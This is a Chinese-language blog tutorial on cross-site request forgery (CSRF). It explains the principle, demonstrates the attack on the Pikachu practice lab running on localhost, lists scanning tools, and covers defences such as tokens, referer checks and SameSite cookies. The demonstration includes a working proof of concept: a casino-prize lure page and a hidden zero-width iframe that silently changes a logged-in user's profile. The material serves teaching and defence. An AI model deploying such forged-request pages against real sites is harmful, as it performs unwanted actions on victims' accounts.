网络安全-跨站请求伪造(CSRF)的原理、攻击及防御

目录

简介

原理

举例

漏洞发现

链接及请求伪造

CSRF攻击

不同浏览器

未登录状态

 登录状态

代码查看

工具

防御

用户

程序员


​​​​​​​

简介

跨站请求伪造(Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

原理

构造链接,黑客在自己的网站或邮箱等引诱已登录用户点击按钮等,来请求想要攻击的网站,浏览器会携带已登录用户的Cookie去访问黑客想要攻击的网站。CSRF攻击利用网站对于用户网页浏览器的信任。

举例

漏洞发现

使用靶机:pikachu

CSRF(get)

使用vince 123456登录

登录后查看

点击修改个人信息

修改

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=13098763456&add=beijing&email=vince@qq.com&submit=submit

抓包发现链接如上,存在CSRF漏洞。

链接及请求伪造

click.html

<html>
	<head>
		<title>
			澳门皇家赌场上线啦!!!
		</title>
	</head>
	<body>
		<a href="requestforgery.html">美女荷官免费送100万,点击领取!!!</a>
	</body>
</html>

requestforgery.html

<html>
	<head>
		<title>
			领奖平台!!!
		</title>
	</head>
	<body>
		<p>请邮箱查收</p>
		<iframe/ src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=13098763456&add=shanghai&email=vince@qq.com&submit=submit" frameborder="0" width="0px">
	</body>
</html>

修改地址即add参数为shanghai

CSRF攻击

不同浏览器

pikachu登录是使用火狐,以下点击是使用谷歌。

恶意链接
跳转至请求伪造界面

 界面刷新后没有问题

界面刷新

未登录状态

点击退出登录

点击退出登录

使用火狐浏览器(网站同一浏览器)进行访问。

恶意链接
请求伪造

登录后查看,未改变。

未改变

 登录状态

登录后重复上述操作,攻击成功!!!

攻击成功,地址修改

代码查看

 pikachu\vul\csrf\csrfget\csrf_get_login.php

session保存

 使用session保存的,没有验证码或token。

工具

deemon

csrftester与burpsuite

csrf-scanner(闭源)

防御

用户

通过简介就可以看出用户可以做的防御措施

  • 不登录(用户使用网站应该会登录,登录时可以更换浏览器或选择浏览器模式)
  • 不点击恶意链接
  • 使用特殊网站时单独用一个浏览器

程序员

  • 验证码

这个比较常见,我就不多说了,目前各种验证码都有可能通过机器学习等方式进行破解。

  • referer

请求头带的,可以标识来源。

  • token

token是常用的一种方式,通过设置过期时间进行刷新,在文章django-rest-framework-jwt与django-rest-framework-simplejwt的对比及使用中有对比python中两种JWT包,当时博主在学REST API。

  • 二次验证

在进行修改密码,钱财业务等敏感操作时再次核验身份,通过手机短信,面部识别等

-----------------------------------------2021年9月1日更新------------------------------------------

  • Same Site Cookie

由Google提出的草案,在原有的Cookie中,新添加了一个SameSite属性,它标识着在非同源的请求中,是否可以带上Cookie,它可以设置为3个值,分别为:

  1. Strict
  2. Lax
  3. None

CORS与CSRF

-------------------------------------2021年9月1日更新完毕---------------------------------------

若存在xss攻击,则没有必要防御CSRF了,因为网站已经不安全,可以通过XSS获取cookie、token等,换浏览器或在浏览器层面防御也就没有意义了。

b站视频:恶意链接是怎么对你攻击的(CSRF讲解)

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。

  • 13
    点赞
  • 49
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lady_killer9

感谢您的打赏,我会加倍努力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值